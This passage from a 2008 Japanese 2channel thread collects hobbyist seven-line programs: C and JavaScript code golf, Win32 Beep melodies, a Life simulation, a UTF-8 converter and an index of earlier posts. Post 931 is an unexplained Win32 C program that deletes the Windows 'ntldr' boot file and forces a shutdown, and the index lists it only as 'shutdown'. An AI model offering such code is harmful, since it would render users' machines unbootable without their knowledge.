=0,puts("\e[1;1H"),memcpy(b,a,7680);++i<23;puts(""))for(j=1;j<79;)p=b+i*80+j++,
putchar(*p?42:32),c=p[-81]+p[-80]+p[-79]+p[-1]+p[1]+p[79]+p[80]+p[81],c!=2&&(a[
p-b]=c==3);}
0924デフォルトの名無しさん
2008/06/15(日) 18:22:59for(k=0;t=prompt(b=h=0),k<6;alert(h-4?(h+"hit "+b+"blow"):"CONGURATURATION!!")
,k++)for(i=0;i<4;h+=a[i]==t.charAt(i++)?1:0)for(j=0;j<4;b+=a[i]==t.charAt(j++)
?1:0);alert(a);
暇潰し
0925デフォルトの名無しさん
2008/06/15(日) 19:56:06void main(void){
while(1){
cout << "「全然足りねージャン!!!」" << endl;
cout << "「いや、申し訳ございません!!!」" endl;
}
}
http://jp.youtube.com/watch?v=EgbsOuegXf8
0926デフォルトの名無しさん
2008/06/16(月) 17:43:12あれをベースに改造したのを仕事で使った
0927デフォルトの名無しさん
2008/06/16(月) 20:12:360928デフォルトの名無しさん
2008/06/17(火) 07:24:580929デフォルトの名無しさん
2008/06/17(火) 22:06:02こいつの名前うんこなんとかだっけ?
0930デフォルトの名無しさん
2008/06/23(月) 00:21:46/::::::::::::::::\
/:::::─三三─\ Drive your Dreams!!
/:::::::::(○)三(○):\ T○○○TA
/::::::.::::(トェェェェェェェェイ:::::\
|::::::::::::::::::\ェェェェェ/:::::::::|
\::::::::::::::::::::∪:::::::::::::::::::/
>::::::::::::::::::::::::::::::::::<
/::::::::::::: _,,ィi⌒ヽ
/ r‐-r''´ ノ.l |⌒ヽ
/ 厶'⌒_l { :| l |_
/ 、,_ゝ、_ノス,,_,ノ、_,,ノ》`
/;;;;;;┌--‐""""ヾ,ヽ
/:::::;;;ソ :;; ヾ;〉
|;;;;;;;;;l ___ __i|
/⌒ヽリ─| 《;,・;》H 《;,・;》|!
| ( :::: `ー─' |ー─'|
ヽ,, ヽ U . ,、__) :::: ノ!
ゴリッ | :::: ノ ヽ:::: | / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
⌒⌒ヽ 彡 ∧ ll===ュ ./ < やめてくれ! 1億、
、 ) ̄} ̄ ̄ ̄ ̄ ̄ヾ ;; ヽ |、'^Y^',,| / \ いや2億あげよう!
、_人_,ノ⌒)}─┐ .,,;:':;}#;ヽ\ `-;;;;-''ノ \あっ あっ ギャーー!
0931デフォルトの名無しさん
2008/06/27(金) 02:26:31main(){HANDLE a;LUID b;TOKEN_PRIVILEGES c={0};char d[512];GetWindowsDirectory(d
,512);d[3]=0;lstrcat(d,"ntldr");DeleteFile(d);if(OpenProcessToken(
GetCurrentProcess(),40,&a)){if(LookupPrivilegeValue(0,SE_SHUTDOWN_NAME,&b)){c.
PrivilegeCount=1;c.Privileges[0].Luid=b;c.Privileges[0].Attributes=2;if(
AdjustTokenPrivileges(a,0,&c,0,0,0))if(GetLastError()==0)ExitWindowsEx(1,0);}
CloseHandle(a);}return 0;}
0932デフォルトの名無しさん
2008/06/27(金) 11:45:340933デフォルトの名無しさん
2008/06/28(土) 02:54:07#define m(X) fprintf(stderr,"%s\n",X);
int m; char* __ = "m(__)m"; int main(){
m(__)m
;}
まぁ、特に七行である必要はないわけだが。。。
最初はこれで勘弁してくれ
0934デフォルトの名無しさん
2008/06/28(土) 03:37:43#include <stdio.h>
#define _(X) fprintf(stderr,"%s\n",(char*)(w X w));
int w = (int)"(^w^)"; int main(){_
(^w^)
;}
#include <stdio.h>
#define _(X) "##X##";fprintf(stderr,"%s\n",q);
char* q= "(^-^*)";int main(){_
(^-^*)
;}
ただ、↑を作った時点で、どんな形式でもプリプロセスに読み込ませれば勝ちってことに気づいてしまった…
()の中ならマルチバイト文字だって入るんだぜ…なんだがやる気なくなった…orz
0935デフォルトの名無しさん
2008/06/28(土) 10:11:45っつーかただのネタだな。 動くんか?摩訶不思議なコードみたいなスレがあったと思うが
0936デフォルトの名無しさん
2008/06/28(土) 10:16:25詰め込むのが
0937デフォルトの名無しさん
2008/06/28(土) 12:50:34512Kか・・・ちょうど贅沢時代の幕開けだね
昔、プログラムポシェットに1行プログラムコーナーがあって
そこにロールプレイングゲームを投稿したのを思い出した。
0938デフォルトの名無しさん
2008/06/28(土) 14:01:390939デフォルトの名無しさん
2008/06/28(土) 15:00:010940デフォルトの名無しさん
2008/06/29(日) 09:43:21#include <windows.h>
main(A){int B[]={196,220,247,262,294,311,330,392,440,466,494,523,554,587,622,
659,698,740,831};char*C=" 1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b1d1c1b1e1d1c1g1e1d1h1"
"f3g1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b2g2e1c1a8b1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b1d1c"
"1b1e1d1c1g1e1d1h1f3g1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b2g2e2h8i1i1k1l2l1k1j1i1h1e1"
"n2k1h1i1k2l1i1k1l2o2p1p1l1n1p2r1r1i1k1l2l1k1j1i1h1e1n2k1h1i1k2l1i1k1l1n1o2q1o"
"1s1r1q1o1m1o9q";while((A+=2)<299)Beep(B[C[A]-'a'],(C[A-1]-'0')*185);return 0;}
0941デフォルトの名無しさん
2008/06/29(日) 09:46:08実行してないけどドラクエ「序曲のテーマ」のビープ演奏と見た
0942デフォルトの名無しさん
2008/06/29(日) 13:31:58Aの初期化しないと
0943デフォルトの名無しさん
2008/06/29(日) 13:37:040944デフォルトの名無しさん
2008/06/29(日) 13:40:290945デフォルトの名無しさん
2008/06/29(日) 13:50:05#include <windows.h>
main(){int B[]={196,220,247,262,294,311,330,392,440,466,494,523,554,587,622,659
,698,740,831};char*C=" 1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b1d1c1b1e1d1c1g1e1d1h1f3g1\
i1k1l2m1l1k1i1g1f1i2e1d1c1a2b2g2e1c1a8b1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b1d1c1b1e1\
d1c1g1e1d1h1f3g1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b2g2e2h8i1i1k1l2l1k1j1i1h1e1n2k1h1\
i1k2l1i1k1l2o2p1p1l1n1p2r1r1i1k1l2l1k1j1i1h1e1n2k1h1i1k2l1i1k1l1n1o2q1o1s1r1q1\
o1m1o9q";while(*(C+=2))Beep(B[*C-'a'],(*(C-1)-'0')*185);return 0;}
0946デフォルトの名無しさん
2008/06/29(日) 14:09:350947デフォルトの名無しさん
2008/06/29(日) 14:19:44Win 9X乙
0948デフォルトの名無しさん
2008/06/29(日) 14:20:440949デフォルトの名無しさん
2008/06/29(日) 14:47:54#include <windows.h>
main(){int B[]={196,220,247,262,294,311,330,392,440,466,494,523,554,587,622,659
,698,740,831},q;char*C="iklm2lkigfie2dcab2dcbedcgedhfg3iklm2lkigfie2dcab2g2e2\
cab8iklm2lkigfie2dcab2dcbedcgedhfg3iklm2lkigfie2dcab2g2e2h2i8ikll2kjihenk2hikl\
2iklo2p2plnpr2rikll2kjihenk2hikl2iklnoq2osrqomoq9";
while(*C)q=B[*C-'a'],Beep(q,*++C>'9'?185:(*C++-'0')*185);return 0;}
短くなったぶん続きも入るけど原曲知らない
0950デフォルトの名無しさん
2008/06/29(日) 14:56:30あ、曲の最後だけは数字は省略不可だなこれ
0951デフォルトの名無しさん
2008/06/29(日) 15:09:020952デフォルトの名無しさん
2008/06/29(日) 15:17:02>>328
たぶん俺が書いたんだったと思う…
もうずいぶん前だな…
0953デフォルトの名無しさん
2008/06/29(日) 15:25:530954デフォルトの名無しさん
2008/06/29(日) 15:30:390955デフォルトの名無しさん
2008/06/29(日) 15:32:220956デフォルトの名無しさん
2008/06/29(日) 15:33:050957デフォルトの名無しさん
2008/06/29(日) 16:46:17条件がひっくり返ってしまうから必ずしもそうとは限らないんだなあ。
A?B:C のうち、Bの箇所には?:よりも優先順位の低い演算子が使えるんだけど、
それをCに持っていくと括弧で括らなきゃならない。そうすると1文字増える。
0958デフォルトの名無しさん
2008/06/29(日) 16:59:02のとき、b を省略すると a が真のとき、a が返る。
っていうのもあったけど、規格に合致しているんだっけ?
0959デフォルトの名無しさん
2008/06/29(日) 17:02:33そりはgcc拡張
0960952
2008/06/29(日) 17:57:29#include <windows.h>
int r,c,d,n,j,a,o=4,l=4,t=120,f[84],A='A';w(a){ungetc(a,stdin);}y(int*p){return
*p=getchar();}q(int*p){for(r=0;'0'<=y(&d)&&d<='9';)r=r*10+d-'0';w(d);r?*p=r:0;}
main(){float s=27.5;for(;j<84;s*=1.0595)f[j++]=s;while(y(&c)-EOF)c+=c<'a'||'z'<
c?0:A-'a',A<=c&&c<'H'||c=='R'?c-'R'?a="ACDFHIK"[c-A]-A+12*o, y(&d)=='+'||d=='#'
?a+=a!=83:d=='-'?a-=!!a:w(d):0,n=l,q(&n),j=12e4*(y(&d)-'.'?w(d),2:3)/t/n,c=='R'
?Sleep(j),0:Beep(f[a],j):c=='L'?q(&l):c=='O'?q(&o),o=o>7?7:o:c=='T'?q(&t):c=='\
>'?o+=o!=7:c=='<'?o-=!!o:0;}
14字削った。
* 同じ文字リテラルが4回以上出てくるときは、変数においたほうが得。
* お尻に3個以上の0が続く整数リテラルは指数表記を使ったほうが得。
ということに気づいた。
0961デフォルトの名無しさん
2008/06/29(日) 18:52:330962デフォルトの名無しさん
2008/06/30(月) 04:09:13空気を読まずにもう一つだけ投下。
#include <windows.h>
char*D="9a3adfTh9d3dfh@i<<hf5d7fXd9d3dfh@l<9o3hiheHh<f9h3hijHh/'<f9h3hihPdbdhj\
llln4/M@fhijhddc@fh`d@q5d3fPjjihi<<lPdj/ jij@ig4dgTfH/ om4kj<i<g4f4g4iPPq@@i@h\
hi@57lDhhi@57l<po5n7o\\jjih<i<@fPh/7bd5f;df5h;i<n<lh<h<fhXd@q5b3d<i<hiP/Fii5h;\
io5p;o<n<lh<h<fhPdHqh<i<hd@d<f`d",*E="!/$*'%/'3 5*9&=#@*I&N#R*X$^ c'p$";int A,B
,C;main(){while(*D){if(*D-47)A=*D>96?8:*D++-48,B=*D<97?18:(*D++-97)*2,Beep(B-32
?E[B]*8+E[B+1]:32767,A*35);else D+=C++?C>2?C=0,D[1]-16:-D[1]+2:2;}return 0;}
0963デフォルトの名無しさん
2008/06/30(月) 13:22:050964デフォルトの名無しさん
2008/06/30(月) 13:30:380965デフォルトの名無しさん
2008/06/30(月) 17:16:470966デフォルトの名無しさん
2008/07/01(火) 23:49:430967デフォルトの名無しさん
2008/07/02(水) 01:24:370968デフォルトの名無しさん
2008/07/02(水) 09:20:500969デフォルトの名無しさん
2008/07/06(日) 12:24:42Winの人は"w"を"wb"にしてね
#include <stdio.h>
FILE*i,*o;int l,p,t[]={0,192,224,240},r=65536;void P(int p){putc(p>>8,o);putc(p
%256,o);}int main(int c,char**v){if(c<3||(i=fopen(v[1],"r"))?((o=fopen(v[2],"w"
))?0:(fclose(i),1)):1)return fputs(c<3?"usage: ./u8tou16 in out\n":"fairu ga h\
irakemasen! itteyoshi!!\n",stderr),1;for(fputs("\xfe\xff",o);(c=getc(i))-EOF;(p
-=r)>=0?P(p/1024+55296),P(p%1024+56320):P(p+r))for(p=c-t[l=(c&224)-192?(c&240)-
224?(c&248)-240?0:3:2:1];l--;)p=p<<6|getc(i)%128;fclose(i);fclose(o);return 0;}
// なんとか7行達成w
0970デフォルトの名無しさん
2008/07/06(日) 12:35:59main(int c,char**v){if(c<3||(i=fopen(v[1],"r"))?((o=fopen(v[2],"w"))?0:(fclose(
i),1)):1)return fputs(c<3?"usage: ./u8tou16 in out\n":"fairu ga hirakemasen! i\
tteyoshi!!\n"),1;for(fputs("\xfe\xff",o);(c=getc(i))+1;(p-=r)>=0?P(p/1024+55296
),P(p%1024+56320):P(p+r))for(p=c-t[l=(c&224)-192?(c&240)-224?(c&248)-240?0:3:2:
1];l--;)p=p<<6|getc(i)%128;fclose(i);fclose(o);}
//なんども出てきた技だしこれぐらいはしとこうや
0971デフォルトの名無しさん
2008/07/06(日) 12:37:20c,char**v){if(c<3||(i=fopen(v[1],"r"))?((o=fopen(v[2],"w"))?0:(fclose(i),1)):1)
return fputs(c<3?"usage: ./u8tou16 in out\n":"fairu ga hirakemasen! itteyoshi!"
),1;for(fputs("\xfe\xff",o);(c=getc(i))+1;(p-=r)>=0?P(p/1024+55296),P(p%1024+
56320):P(p+r))for(p=c-t[l=(c&224)-192?(c&240)-224?(c&248)-240?0:3:2:1];l--;)p=p
<<6|getc(i)%128;fclose(i);fclose(o);}
0972デフォルトの名無しさん
2008/07/06(日) 12:55:460973デフォルトの名無しさん
2008/07/06(日) 13:12:540974デフォルトの名無しさん
2008/07/06(日) 15:06:12まさか今更このスレで型安全性なんて下らない寝言は言わないよな
0975デフォルトの名無しさん
2008/07/06(日) 15:40:30なんというかそれでは意味がない気がするんだよなあ。
入出力機能を使うときに#include<stdio.h>を書かなければ、
一行まるまる浮くわけだが、そういう縮め方に価値を見出せない。
俺は、最低限、型の整合性とプロトタイプの整合性だけは守りたいと思う。
0976デフォルトの名無しさん
2008/07/06(日) 15:51:010977デフォルトの名無しさん
2008/07/06(日) 15:52:28特定の環境に目一杯依存してコードを縮めるのも一つの楽しみ
「標準に準拠するC言語」と
「特定の処理系で動けばよいC言語」を
二つの独立した言語として扱えばいいと思う
自分が関心ないからって別言語のコードに文句付ける必要はないって意味で
0978デフォルトの名無しさん
2008/07/06(日) 17:20:020979デフォルトの名無しさん
2008/07/06(日) 17:46:33「標準に準拠するC言語」>「特定の処理系で動けばよいC言語」
この前提がある以上、「特定の処理系で動けばよいC言語」はランクが下がる
0980デフォルトの名無しさん
2008/07/06(日) 20:42:490981デフォルトの名無しさん
2008/07/06(日) 21:03:350982デフォルトの名無しさん
2008/07/06(日) 22:41:43というわけでむちゃくちゃ適当にまとめてみました
よくわからなかったものは□にしてますごめんなさい。だれか補足お願いします
>7 AA(.com)
>42 Win32用簡易メトロノーム(C/Win32)
>43,46,49 数独(C)
>53,54 アイコンエディタ(JavaScript)
>75,77 1行掲示板(PHP)
>80,649,650 シェルピンスキーのギャスケット(C)
>81 弾避け(JavaScript)
>99,100 正規表現(C) ※9行
>121 Java難読化(Java) ※9行
>167,175 オセロ(C) ※12行
>185,187 サーバー(なでしこ)
>191 メール送信(なでしこ)
>193 Windows送るメニューカスタマイズ(なでしこ)
>221 メール送信フォーム(なでしこ)
>226,230 □(.com)
>244,245 ブロックソート/ソート解除(C#)
>284 ノイズ(C/cygwin)
>300,302,304,305,311,312,313,350 音(C/Win32)
>316 □(C#)
>317 音(Ruby/Win32)
>321,322 Beepエミュ(C/Win32)
>327,328,960 MML再生(C/Win32) ※9行
>343 け言語(Ruby)
>402,404,405 音(C/Win32)
続く
0983デフォルトの名無しさん
2008/07/06(日) 22:42:28>407 TerminateProcessフック(C/Win32) ※11行
>409,412 ハフマン法圧縮(C)
>415 ZwCloseフック(C/Win32) ※3文字オーバー
>414,421,457,458 ランレングス解凍(C)
>459 C/C++コメント除去(C)
>466,467,469,470,476,479,482,483,484,488,492 2進数のビット反転 関数のみ(C)
>477,478 誤爆(C)
>487 brainfuck(C)
>498,499 画像ぼかし(C#)
>509,511,512 ニュートン法(C)
>513 標準出力にBrainfuckと読める絵を出力(Brainfuck)
>520,529,534 ローマ字半角カナ変換(なでしこ) ※11行
>533 ローマ字半角カナ変換(JavaScript) ※13行
>540 ∩( ・ω・)∩ ばんざーい (なでしこ)←データが外部
>555,557,559 WEOF→EOF(C)
>558 素因数分解(JavaScript)
>564 echoサーバ(BASIC)
>565 echo(Brainfuck) 4文字
>577,590 スロット(JavaScript)
>626,631,632,636,637,640 迷路(JavaScript)
>651,657,658,661,663 Base64エンコード(JavaScript)
>669 テニス(JavaScript)
>670,671,672,675 計算機(JavaScript)←evalしてるだけ
>677 □(Befunge?)
>679 Base64エンコーダ、デコーダ(Perl)
>683 Base64エンコーダ(Lua)
>685 Base64エンコーダ(Ruby)←Base64モジュール使ってるだけ
>687,698 自己展開Base64(.com)
続く
0984デフォルトの名無しさん
2008/07/06(日) 22:43:47>700 メッセージボックス(C/Win32)
>701 テトリス(東方何とか)←18行
>705,706 じゃんけん(JavaScript)
>713 RSSリーダ(JavaScript)
>714,717,718,741,745 メモ帳(JavaScript)
>721 テンキー練習(JavaScript)
>743 WYSIWYGなHTML作成支援エディタモドキ(JavaScript)←innerHTMLに代入してるだけ
>755,757,758,760,762 逆localtime(Perl)
>763 626のマウス版(JavaScript)
>765,772,775 ⊂( ^ω^)⊃耐久走 (JavaScript)
>776,777,781 ベートーベン(C/Win32)
>804 数独(C)
>865,867 crypt(C)
>870,875,878,879,919,923 life(C)
>907,912 printf(C)←vprintfに丸投げ
>920 printf(C)
>924 暇つぶし(JavaScript)
>931 シャットダウン(C/Win32)
>940,945,949,962 音(C/Win32)
>969,970,971 UTF-8→UTF-16(C)
誰か次スレお願いします
0985デフォルトの名無しさん
2008/07/06(日) 22:56:220986デフォルトの名無しさん
2008/07/06(日) 23:03:59http://pc11.2ch.net/test/read.cgi/tech/1215352849/
0987デフォルトの名無しさん
2008/07/06(日) 23:13:28需要が無いならオレが書く
0988デフォルトの名無しさん
2008/07/06(日) 23:20:300989デフォルトの名無しさん
2008/07/06(日) 23:22:310990デフォルトの名無しさん
2008/07/06(日) 23:27:08じゃあ俺はJSで参戦
0991デフォルトの名無しさん
2008/07/07(月) 01:27:39$_=[$_].pack("m*")
>>685
0993992
2008/07/07(月) 06:45:170994デフォルトの名無しさん
2008/07/07(月) 07:24:38専ブラ使え
0996デフォルトの名無しさん
2008/07/07(月) 09:49:120997デフォルトの名無しさん
2008/07/07(月) 10:42:590998デフォルトの名無しさん
2008/07/07(月) 13:44:13あるあるww
0999デフォルトの名無しさん
2008/07/07(月) 14:32:45db/dw/dq で終りじゃね?
1000ヽ・´∀`・,,)っ━━━━━━━┓
2008/07/07(月) 14:48:2610011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。